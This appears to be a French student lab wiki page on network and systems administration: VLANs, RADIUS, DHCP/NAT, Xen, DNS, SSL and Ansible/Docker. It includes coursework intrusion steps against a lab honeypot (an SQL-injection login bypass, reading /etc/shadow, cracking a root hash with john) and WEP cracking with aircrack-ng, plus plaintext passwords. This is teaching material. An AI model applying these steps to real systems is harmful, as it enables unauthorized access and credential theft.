 wifi-ima5sc(config-subif)# int dot11radio0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Gi0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
===FreeRadius===&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/users&lt;br /&gt;
&lt;br /&gt;
 pifou Cleartext-Password := &amp;quot;pasglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/client.conf&lt;br /&gt;
&lt;br /&gt;
 client girolle_wifi {&lt;br /&gt;
     ipaddr = 10.60.100.10&lt;br /&gt;
     secret = secret_group7&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/mods-enabled/eap&lt;br /&gt;
&lt;br /&gt;
 default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
Finalement on lance la commande freeradius -X&lt;br /&gt;
&lt;br /&gt;
===DHCP et mascarade===&lt;br /&gt;
&lt;br /&gt;
On doit implanter une fonction de serveur DHCP sur les deux routeurs.&lt;br /&gt;
&lt;br /&gt;
Pour le 6509E :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#default-router 10.60.107.1&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.99&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.150 10.60.107.255&lt;br /&gt;
 IMA5sc-R1(config)#exit&lt;br /&gt;
 IMA5sc-R1#sh ip dhcp binding&lt;br /&gt;
 IMA5sc-R1#ping 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Le ping fonctionne.&lt;br /&gt;
&lt;br /&gt;
Pour le C9200 :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#default-router 10.60.107.2&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.49&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.100 10.60.107.255&lt;br /&gt;
 IMA5sc-R2(config)#exit&lt;br /&gt;
 IMA5sc-R2#sh ip dhcp binding&lt;br /&gt;
&lt;br /&gt;
Mise en place de la mascarade (vlan131 -&amp;gt; vlan pour se connecter au routeur):&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 307&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat inside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 131&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat outside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# access-list 107 permit ip 10.60.107.0 0.0.0.255 any&lt;br /&gt;
 IMA5sc-R1(config)# ip nat inside source list 107 interface vlan 131 overload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du vlan sur les routeurs&lt;br /&gt;
 vlan 307&lt;br /&gt;
&lt;br /&gt;
==Configuration WLC==&lt;br /&gt;
&lt;br /&gt;
Utilisation de bornes Cisco 2802i&lt;br /&gt;
&lt;br /&gt;
Connection via minicom -os (9600 bauds)&lt;br /&gt;
&lt;br /&gt;
 enable &lt;br /&gt;
 capwap ap ip &amp;lt;ip&amp;gt; &amp;lt;netmask&amp;gt; &amp;lt;gateway&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Intrusion honey.plil.info ==&lt;br /&gt;
&lt;br /&gt;
pour avoir les identifiants de l'admin : ID = ' OR '1'='1 et MDP = ' OR '1'='1&lt;br /&gt;
&lt;br /&gt;
Admin : admin	jesuislechef	admin	Administrateur&lt;br /&gt;
&lt;br /&gt;
Creer le fichier  etc/phpmyadmin/config-db.php&lt;br /&gt;
en allant dans l'onglet: .... on telecharge le fichier qu'on a crée : &lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
 ##&lt;br /&gt;
 ## database access settings in php format&lt;br /&gt;
 ## automatically generated from /etc/dbconfig-common/phpmyadmin.conf&lt;br /&gt;
 ## by /usr/sbin/dbconfig-generate-include&lt;br /&gt;
 ##&lt;br /&gt;
 ## by default this file is managed via ucf, so you shouldn't have to&lt;br /&gt;
 ## worry about manual changes being silently discarded.  *however*,&lt;br /&gt;
 ## you'll probably also want to edit the configuration file mentioned&lt;br /&gt;
 ## above too.&lt;br /&gt;
 ##&lt;br /&gt;
 $dbuser='phpmyadmin';&lt;br /&gt;
 $dbpass='gencovid19';&lt;br /&gt;
 $basepath='';&lt;br /&gt;
 $dbname='phpmyadmin';&lt;br /&gt;
 $dbserver='localhost';&lt;br /&gt;
 $dbport='3306';&lt;br /&gt;
 $dbtype='mysql';&lt;br /&gt;
&lt;br /&gt;
on reccupere user et mdp pour acceder a la page http://honey.plil.info/phpmyadmin/ &lt;br /&gt;
connexion id : root&lt;br /&gt;
mdp: gencovid19&lt;br /&gt;
&lt;br /&gt;
une fois connecter on recherche les identifiants des utilisateurs ssh :&lt;br /&gt;
id = rex &lt;br /&gt;
mdp: &lt;br /&gt;
&lt;br /&gt;
connexion ssh : ssh rex@honey.plil.info&lt;br /&gt;
 /etc/shadow pour trouver la cle de cryptage du mdp root &lt;br /&gt;
 copier la cle et la mettre dans un fichier (exemple :temp): root:$6$yCvXnJp4SOQwQaxV$vRYUr1fwU1SAPxZ0NbdIw/03ypGXjjRjZKRfX3sa7T2v9XnbI4xG.EyEtcrtASLlvqxuh9Hr6TrOB5Szopd6m/:18525:0:99999:7:::&lt;br /&gt;
 installation de john &lt;br /&gt;
 john nom du fichier&lt;br /&gt;
&lt;br /&gt;
pour aller plus rapidement creer un dictionnaire a partir des indices donnés  : motif doublé 'le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets'&lt;br /&gt;
utiliseer crunch?&lt;br /&gt;
&lt;br /&gt;
== Cassage de clef WEP d’un point d’accès WiFi ==&lt;br /&gt;
&lt;br /&gt;
On utilise le paquet aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
La commande&lt;br /&gt;
 airmon-ng&lt;br /&gt;
permet de voir le nom du réseau sans fil: wlan0mon&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
On scanne les réseaux :&lt;br /&gt;
 airodump-ng --encrypte wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
On choisi un réseau parmi ceux disponibles. Par exemple la cracotte08 est sur le canal 7 et a pour BSSID 04:DA:D2:9C:50:57.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep1.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On lance avec la commande :&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --write testwep --channel 7 --bssid 04:DA:D2:9C:50:57 wlan0mon&lt;br /&gt;
&lt;br /&gt;
 aircrack-ng -z testwep-01.cap&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==Ferme de serveurs web==&lt;br /&gt;
&lt;br /&gt;
===Architecture générale de la ferme===&lt;br /&gt;
&lt;br /&gt;
On travaille avec deux machines virtuelles, l'une sur le serveur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (celle mise en place en PRA), l'autre sur le serveur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
On ferme la machine virtuelle sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (&amp;lt;code&amp;gt;halt&amp;lt;/code&amp;gt;) pour modifier le fichier de configuration &amp;lt;code&amp;gt;girolle.cfg&amp;lt;/code&amp;gt;.&lt;br /&gt;
On ajoute à la ligne vif &amp;lt;code&amp;gt;'mac=@MAC incrémenté de 1, bridge=bridgeStudents'&amp;lt;/code&amp;gt; avant de la relancer.&lt;br /&gt;
&lt;br /&gt;
'''Interfaces'''&lt;br /&gt;
&lt;br /&gt;
On associe l'adresse IP &amp;lt;code&amp;gt;192.186.42.21&amp;lt;/code&amp;gt; à la VM sur le serveur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;. Pour cela on l'ajoute dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
 auto eth1&lt;br /&gt;
 iface eth1 inet static&lt;br /&gt;
   address 192.168.42.21 &lt;br /&gt;
   netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;, on ajoute une interface dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; :&lt;br /&gt;
 auto eth0&lt;br /&gt;
 iface eth0 inet static&lt;br /&gt;
   address 192.168.42.7&lt;br /&gt;
   netmask 255.255.255.0 &lt;br /&gt;
   gateway 192.168.42.21&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Le ping entre leux deux machine se fait.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Mascarade'''&lt;br /&gt;
&lt;br /&gt;
On met en place une mascarade pour que la VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; ait accès à internet :&lt;br /&gt;
&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -s 192.168.42.7/32&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -d 192.168.42.7/32&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.7/32 --to-source 193.48.57.182&lt;br /&gt;
 iptables-save&lt;br /&gt;
 echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
'''Mise en place d'&amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
Installation d'&amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; sur la VM de &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
Création des clés avec la commande &amp;lt;code&amp;gt;ssh-keygen -t rsa&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On ajoute la clé public sur toutes les machines de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; :&lt;br /&gt;
 cat id_rsa.pub | ssh root@192.168.42.7 'cat &amp;gt;&amp;gt; .ssh/authorized_keys2'&lt;br /&gt;
&lt;br /&gt;
Installation de Python sur la VM de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; (Attention à installer uniquement python3 et ne pas avoir de versions antérieurs pour éviter les conflits de version).&lt;br /&gt;
 apt install python3&lt;br /&gt;
 ln -sf /usr/bin/python3 /usr/bin/python&lt;br /&gt;
&lt;br /&gt;
L'utilitaire &amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; permet d'organiser le projet en plusieurs parties. Les manipulations se font majoritairement sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
'''Inventaire'''&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;, on crée un inventaire dans &amp;lt;code&amp;gt;/etc/ansible/hosts&amp;lt;/code&amp;gt;. en séparant notre serveur seul des autres (dont le notre).&lt;br /&gt;
 [self]&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
&lt;br /&gt;
 [webinterne]&lt;br /&gt;
 192.168.42.2&lt;br /&gt;
 192.168.42.4&lt;br /&gt;
 192.168.42.5&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
 192.168.42.9&lt;br /&gt;
 192.168.42.12&lt;br /&gt;
&lt;br /&gt;
'''Playbook et roles'''&lt;br /&gt;
&lt;br /&gt;
On crée plusieurs rôles qui sont lancés via un playbook (&amp;lt;code&amp;gt;/root/playbooks/&amp;lt;/code&amp;gt;). Chaque rôle à son propre sous-répertoire (&amp;lt;code&amp;gt;/etc/ansible/roles&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;basic&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;files&amp;lt;/code&amp;gt; qui contient la configuration mymotd_conf et ntp.conf&lt;br /&gt;
** mymotd_conf : On met ce que l'on veut afficher dedans&lt;br /&gt;
** ntp.conf : Fichier récupéré auquel on ajoute le serveur NTP et les IP&lt;br /&gt;
 # You do need to talk to an NTP server or two (or three).&lt;br /&gt;
 #server ntp.your-provider.example&lt;br /&gt;
 server ntp.plil.info&lt;br /&gt;
 ...&lt;br /&gt;
 # Local users may interrogate the ntp server more closely.&lt;br /&gt;
 restrict 127.0.0.1&lt;br /&gt;
 restrict ::1&lt;br /&gt;
 restrict 192.168.42.21&lt;br /&gt;
 restrict 192.168.42.7&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; qui contient un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name : gestion packages&lt;br /&gt;
   apt:&lt;br /&gt;
     update_cache: yes&lt;br /&gt;
     name: &amp;quot;{{ packages } }&amp;quot;&lt;br /&gt;
   vars:&lt;br /&gt;
     packages:&lt;br /&gt;
      - python3&lt;br /&gt;
      - python3-pip&lt;br /&gt;
      - ntpdate&lt;br /&gt;
      - ntp&lt;br /&gt;
 &lt;br /&gt;
 - name : gestion packages pip&lt;br /&gt;
   pip:&lt;br /&gt;
      name:&lt;br /&gt;
         - docker&lt;br /&gt;
 - name: lien symbolique&lt;br /&gt;
   command: ln -sf /usr/bin/python3 /usr/bin/python&lt;br /&gt;
 &lt;br /&gt;
 - name: motd&lt;br /&gt;
   copy:&lt;br /&gt;
      src: /etc/ansible/roles/basic/files/mymotd_conf&lt;br /&gt;
      dest: /etc/motd&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644' &lt;br /&gt;
&lt;br /&gt;
 - name: config ntp&lt;br /&gt;
   copy:&lt;br /&gt;
      src: /etc/ansible/roles/basic/files/ntp.conf&lt;br /&gt;
      dest: /etc/ntp.conf&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
&lt;br /&gt;
Ce rôle permet de configurer le motd et le NTP. Il permet également d'installer les packages nécessaires.&lt;br /&gt;
&lt;br /&gt;
===Installation de &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt;===&lt;br /&gt;
&lt;br /&gt;
On installe &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt; par l'intermédiaire du playbook sur notre VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;. Pour cela on utilise un rôle déjà créé par &amp;lt;code&amp;gt;geerlingguy&amp;lt;/code&amp;gt;. Les variables docker_&amp;lt;code&amp;gt;apt_gpg_key&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;docker_apt_repository&amp;lt;/code&amp;gt; permettent que le rôle se comporte comme si la VM est sous debian version buster.&lt;br /&gt;
&lt;br /&gt;
'''Playbook &amp;lt;code&amp;gt;first_play.yml&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
 ---&lt;br /&gt;
 - name: Premiere playbook&lt;br /&gt;
   hosts: self&lt;br /&gt;
   roles:&lt;br /&gt;
     - basic &lt;br /&gt;
     - geerlingguy.docker&lt;br /&gt;
     - registry&lt;br /&gt;
   vars:&lt;br /&gt;
     docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
     docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch }}] https://download.docker.com/linux/debian buster {{ docker_apt_release_channel } }&amp;quot; &lt;br /&gt;
&lt;br /&gt;
===Création du conteneur===&lt;br /&gt;
&lt;br /&gt;
On met en place un conteneur qui contient notre site web et démarre apache2 sur le port 80.&lt;br /&gt;
En premier lieu on installe &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt; sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; avec &amp;lt;code&amp;gt;wget get.docker.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Dockerfile'''&lt;br /&gt;
&lt;br /&gt;
Il faut ensuite réaliser un &amp;lt;code&amp;gt;dockerfile&amp;lt;/code&amp;gt; toujours sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; :&lt;br /&gt;
 FROM httpd:latest&lt;br /&gt;
 MAINTAINER NourClara&lt;br /&gt;
 COPY ./index.html /usr/local/apache2/htdocs/&lt;br /&gt;
 CMD [ &amp;quot;httpd&amp;quot;, &amp;quot;-D&amp;quot;, &amp;quot;FOREGROUND&amp;quot; ]&lt;br /&gt;
Le fichier &amp;lt;code&amp;gt;index.html&amp;lt;/code&amp;gt; dans lequel se trouve le contenu du site web doit se trouver dans le même répertoire que le &amp;lt;code&amp;gt;dockerfile&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
'''Construction et lancement de l'image docker'''&lt;br /&gt;
&lt;br /&gt;
 docker build -t webserver .&lt;br /&gt;
On aurait pu mettre girolle au lieu de webserver par exemple.&lt;br /&gt;
 docker run -d webserver&lt;br /&gt;
&lt;br /&gt;
On vérifie que l'image est construite et lancée correctement avec les commandes &amp;lt;code&amp;gt;docker images&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;docker ps -a&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
'''Dépôt docker local''' &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;registry&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; qui contient un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name: Setup registry&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: registry&lt;br /&gt;
           image: registry&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;5000:5000&amp;quot;&lt;br /&gt;
&lt;br /&gt;
===Configuration des serveurs internes===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;deployer&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; avec un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name : deployer sur les VMs&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: site&lt;br /&gt;
           image: 192.168.42.7:5000/webserver&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;8087:80&amp;quot;  &lt;br /&gt;
&amp;lt;code&amp;gt;image&amp;lt;/code&amp;gt; : là où se trouve notre serveur web à déployer (sur notre VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Playbook complet &amp;lt;code&amp;gt;first_play.yml&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
 ---&lt;br /&gt;
 - name: Premiere playbook&lt;br /&gt;
   hosts: self&lt;br /&gt;
   roles:&lt;br /&gt;
     - basic &lt;br /&gt;
     - geerlingguy.docker&lt;br /&gt;
     - registry&lt;br /&gt;
   vars:&lt;br /&gt;
     docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
     docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch }}] https://download.docker.com/linux/debian buster {{ docker_apt_release_channel } }&amp;quot;    &lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 - name: Deploiement&lt;br /&gt;
   hosts: webinterne&lt;br /&gt;
   roles:&lt;br /&gt;
      - deployer&lt;br /&gt;
&lt;br /&gt;
===Équilibreur de charge (load balancer)===&lt;/div&gt;</summary>
		<author><name>Cbisalli</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=55004</id>
		<title>TP sysres IMA5sc 2020/2021 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=55004"/>
				<updated>2020-12-18T21:47:59Z</updated>
		
		<summary type="html">&lt;p&gt;Cbisalli : /* Ferme de serveurs web */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== Explication Infrastructure ==&lt;br /&gt;
&lt;br /&gt;
==Installation VM==&lt;br /&gt;
&lt;br /&gt;
Connexion ssh:&lt;br /&gt;
 ssh pifou@capbreton.plil.info&lt;br /&gt;
&lt;br /&gt;
Commande (en root su -):&lt;br /&gt;
 xen-create-image --hostname=girolle --ip=100.64.0.24 --netmask=255.255.255.240 --dist=buster --dir=/usr/local/xen --password=glopglop --force&lt;br /&gt;
&amp;lt;br&amp;gt; MAJ gateway : 161&lt;br /&gt;
&amp;lt;br&amp;gt;Nom de domaine: girolle.site&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse IP : 100.64.0.24 MAJ: 193.48.57.172&lt;br /&gt;
&amp;lt;br&amp;gt;Netmask: 255.255.255.240 MAJ: 255.255.255.224&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse MAC : 00:16:3E:3E:E3:15&lt;br /&gt;
&lt;br /&gt;
Repartition des volumes logiques : &lt;br /&gt;
 lvdisplay &lt;br /&gt;
 lvrename &lt;br /&gt;
&lt;br /&gt;
Dans le fichier de configuration de la machine : girolle.cfg&lt;br /&gt;
on rajoute var et home :&lt;br /&gt;
lignes 'phy:/.../xdva3'&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Commandes pour creer et acceder a la VM :&lt;br /&gt;
&lt;br /&gt;
 xl create -c etc/xen/girolle.cfg&lt;br /&gt;
 '''xl console girolle'''&lt;br /&gt;
&lt;br /&gt;
Commandes sur la vm: &lt;br /&gt;
&lt;br /&gt;
dans etc/fstab il faut indiquer les fonctionnalites de xvda3 et xvda4 &lt;br /&gt;
&lt;br /&gt;
au prealable il faut &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
1) formater la partition : &lt;br /&gt;
 mkfs -t ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
2) Monter la partition que l'on veut sur /mnt &lt;br /&gt;
 mount /dev/xvda4 /mnt&lt;br /&gt;
3) Migrer tout le contenu de var dans mnt &lt;br /&gt;
 cd /var&lt;br /&gt;
 mv * /mnt&lt;br /&gt;
&lt;br /&gt;
4) Dans le fichier fstab rajouter :&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
5) Unmout mnt &lt;br /&gt;
 umount /mnt&lt;br /&gt;
&lt;br /&gt;
6) Monter tout sur dev/xdva&lt;br /&gt;
 mount -a &lt;br /&gt;
7)Verification &lt;br /&gt;
 df&lt;br /&gt;
 dpkg -l&lt;br /&gt;
&lt;br /&gt;
== Activation connexion ssh ==&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config&lt;br /&gt;
&lt;br /&gt;
On décommente la ligne PermissionRoot :  &lt;br /&gt;
 # Authentication:&lt;br /&gt;
 #LoginGraceTime 2m&lt;br /&gt;
 PermitRootLogin yes&lt;br /&gt;
&lt;br /&gt;
Puis on l'active avec la commande :&lt;br /&gt;
 service sshd restart&lt;br /&gt;
&lt;br /&gt;
On peut se connecter à la machine par ssh root@girolle.site (mot de passe root habituel)&lt;br /&gt;
&lt;br /&gt;
==Redirection DNS==&lt;br /&gt;
&lt;br /&gt;
=== Sur Gandi ===&lt;br /&gt;
&lt;br /&gt;
Achat d'un nom de domaine : girolle.site&lt;br /&gt;
Création d'un Glue Record : 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Serveur DNS primaire : ns1.girolle.site (193.48.57.182)&lt;br /&gt;
Serveur DNS secondaire : ns6.gandi.net (217.70.177.40)&lt;br /&gt;
&lt;br /&gt;
=== Sur la machine virtuelle ===&lt;br /&gt;
&lt;br /&gt;
Installation de bind9&lt;br /&gt;
On modifie les fichiers dans /etc/bind/named.conf.&lt;br /&gt;
Dans /etc/bind/named.conf.options&lt;br /&gt;
 options {&lt;br /&gt;
   directory &amp;quot;/etc/bind&amp;quot;;&lt;br /&gt;
   listen-on-v6 { any; };&lt;br /&gt;
   allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
   217.70.177.40/32 ;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;girolle.site/girolle&amp;quot;;&lt;br /&gt;
   allow-transfer (217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans db.girolle.site&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA      ns1.girolle.site.  postmaster.girolle.site(&lt;br /&gt;
                              2         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.girolle.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.182&lt;br /&gt;
 @       IN      MX      100 girolle.site.&lt;br /&gt;
&lt;br /&gt;
 www      IN      CNAME   ns1&lt;br /&gt;
&lt;br /&gt;
Puis pour le relancer :&lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Configuration pour la réception du mail de confirmation du certificat SSL&lt;br /&gt;
Installer Postfixe pour avoir accès au fichier aliases&lt;br /&gt;
 Internet Site&lt;br /&gt;
 girolle.site&lt;br /&gt;
&lt;br /&gt;
Dans /etc/aliases&lt;br /&gt;
 admin: root&lt;br /&gt;
&lt;br /&gt;
Puis ajouter dans newaliases&lt;br /&gt;
Cela va permettre de récupérer le mail de confirmation de Gandi envoyé à admin@girolle.site&lt;br /&gt;
&lt;br /&gt;
https://www.jeffgeerling.com/blogs/jeff-geerling/viewing-email-linux-using&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Installation de mailx pour lire les mails reçus&lt;br /&gt;
 apt-install bsd-mailx&lt;br /&gt;
Pour consulter le mail de vérification&lt;br /&gt;
 mailx admin&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation par certificat SSL ===&lt;br /&gt;
&lt;br /&gt;
Génération du CSR à l'aide d'openssl&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout girolle.site.key -out girolle.site.csr&lt;br /&gt;
&lt;br /&gt;
Réception du mail de vérification avec une URL et un mot de passe ce qui nous permet de récupérer le fichier girolle.site.crt&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur apache2&lt;br /&gt;
&lt;br /&gt;
Activation du ssl sur apache2 &lt;br /&gt;
 ae2enmod ssl&lt;br /&gt;
&lt;br /&gt;
Ajout dans le fichier 000-default.conf dans /etc/apache2/sites-available&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;                                                                                                         &lt;br /&gt;
  ServerName www.girolle.site                                                                                             &lt;br /&gt;
  Redirect / https://www.girolle.site       &lt;br /&gt;
  ....                                                                        &lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt; &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost 193.48.57.182:443&amp;gt;&lt;br /&gt;
     DocumentRoot /var/www/html2&lt;br /&gt;
     ServerName girolle.site&lt;br /&gt;
         SSLEngine on&lt;br /&gt;
         SSLCertificateFile /root/girolle.site.crt&lt;br /&gt;
         SSLCertificateKeyFile /root/girolle.site.key&lt;br /&gt;
         SSLCertificateChainFile /root/GandiCA.pem&lt;br /&gt;
     &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
verifications:&lt;br /&gt;
 host -t soa girolle.site ns6.gandi.net&lt;br /&gt;
 Sur Zabeth : host www.girolle.site&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
On ajoute l’option dnssec-enable yes; dans le fichier named.conf.options&lt;br /&gt;
